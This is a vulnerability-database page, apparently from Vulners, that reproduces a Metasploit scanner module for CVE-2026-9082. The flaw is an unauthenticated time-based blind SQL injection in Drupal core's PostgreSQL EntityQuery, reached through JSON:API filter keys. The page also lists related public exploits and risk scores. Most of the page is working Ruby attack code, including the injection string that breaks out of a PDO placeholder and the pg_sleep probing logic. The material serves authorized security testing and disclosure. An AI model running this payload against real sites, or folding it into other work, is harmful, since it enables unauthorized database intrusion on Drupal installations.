Lucene search
+L

Drupal Core PostgreSQL EntityQuery SQL Injection

🗓️ 20 May 2026 00:00:00Reported by Lukas Johannes MoellerType 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Unauthenticated SQL injection in Drupal Core PostgreSQL EntityQuery via JSON:API filter.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-9082
22 May 202619:49
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-63030
19 Jul 202614:42
githubexploit
githubexploit
GithubExploit
patch-to-exploit
26 May 202616:02
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202614:46
githubexploit
githubexploit
GithubExploit
--POC
12 Jul 202601:52
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:03
githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
29 Jun 202615:11
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202610:42
githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
7 Jun 202612:20
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:30
githubexploit
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Drupal Core PostgreSQL EntityQuery SQL Injection',
        'Description' => %q{
          This module detects CVE-2026-9082, an unauthenticated SQL injection in
          Drupal core's PostgreSQL EntityQuery condition handler. It uses a crafted
          JSON:API filter array key to confirm the vulnerability with time-based
          blind SQL injection. MySQL, MariaDB, and SQLite are not affected.

          The configured JSON:API resource must be anonymously readable and expose
          at least one entity with a case-insensitive string field.
        },
        'Author' => ['Lukas Johannes Moeller'],
        'References' => [
          ['CVE', '2026-9082'],
          ['URL', 'https://www.drupal.org/sa-core-2026-004'],
          ['URL', 'https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC']
        ],
        'DisclosureDate' => '2026-05-20',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('JSONAPI_RESOURCE', [true, 'An anonymously readable JSON:API resource as entity_type/bundle', 'node/article']),
        OptString.new('JSONAPI_FIELD', [true, 'A case-insensitive string field to filter on', 'title'])
      ]
    )

    register_advanced_options(
      [
        OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for each time-based probe', 3.0])
      ]
    )
  end

  def jsonapi_uri
    normalize_uri(target_uri.path, 'jsonapi', datastore['JSONAPI_RESOURCE'])
  end

  def filter_vars(injection_key = nil)
    marker = Rex::Text.rand_text_alphanumeric(8..12)
    vars = {
      'filter[sqli][condition][path]' => datastore['JSONAPI_FIELD'],
      'filter[sqli][condition][operator]' => 'IN',
      'filter[sqli][condition][value][0]' => "#{marker}a",
      'filter[sqli][condition][value][1]' => "#{marker}b"
    }
    vars["filter[sqli][condition][value][#{injection_key}]"] = "#{marker}c" if injection_key
    vars
  end

  # Breaks out of the PDO placeholder name at the first ')'.
  def injection_key(payload)
    "1))/**/OR/**/(#{payload})::text=((chr(49)"
  end

  def create_drupal_sqli
    create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload|
      res = send_request_cgi(
        { 'method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars(injection_key(payload)) },
        # read timeout must outlast pg_sleep(SqliDelay) plus the round-trip
        (datastore['SqliDelay'] + 20).ceil
      )
      raise Rex::ConnectionError, 'No response to the SQL injection probe' unless res
      raise Rex::ConnectionError, "HTTP #{res.code} from the SQL injection probe" if [408, 502, 503, 504].include?(res.code)

      res
    end
  end

  def check_host(ip)
    baseline = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri)
    return Exploit::CheckCode::Unknown('No response to the baseline JSON:API request') unless baseline
    return Exploit::CheckCode::Unknown("#{jsonapi_uri} returned HTTP #{baseline.code}") unless baseline.code == 200

    doc = baseline.get_json_document
    data = doc['data'] if doc.is_a?(Hash)
    return Exploit::CheckCode::Unknown("#{datastore['JSONAPI_RESOURCE']} has no entities") unless data.is_a?(Array) && data.any?

    field_res = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars)
    return Exploit::CheckCode::Unknown('No response while validating JSONAPI_FIELD') unless field_res
    return Exploit::CheckCode::Unknown("JSONAPI_FIELD '#{datastore['JSONAPI_FIELD']}' is not valid for this resource") unless field_res.code == 200

    report_service(host: ip, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http')
    return Exploit::CheckCode::Vulnerable('Time-based blind SQL injection via JSON:API filter array key') if create_drupal_sqli.test_vulnerable

    Exploit::CheckCode::Safe('No time-based SQL injection response detected')
  rescue Rex::ConnectionError => e
    Exploit::CheckCode::Unknown(e.message)
  end

  def run_host(ip)
    code = check_host(ip)
    unless code == Exploit::CheckCode::Vulnerable
      print_status("#{peer} - #{code.message}")
      return
    end

    print_good("#{peer} - #{code.message}")
    report_vuln(
      host: ip,
      port: rport,
      name: name,
      info: code.message,
      refs: references
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 May 2026 00:00Current
7High risk
Vulners AI Score7
CVSS 3.19.8
EPSS0.87892
SSVC
5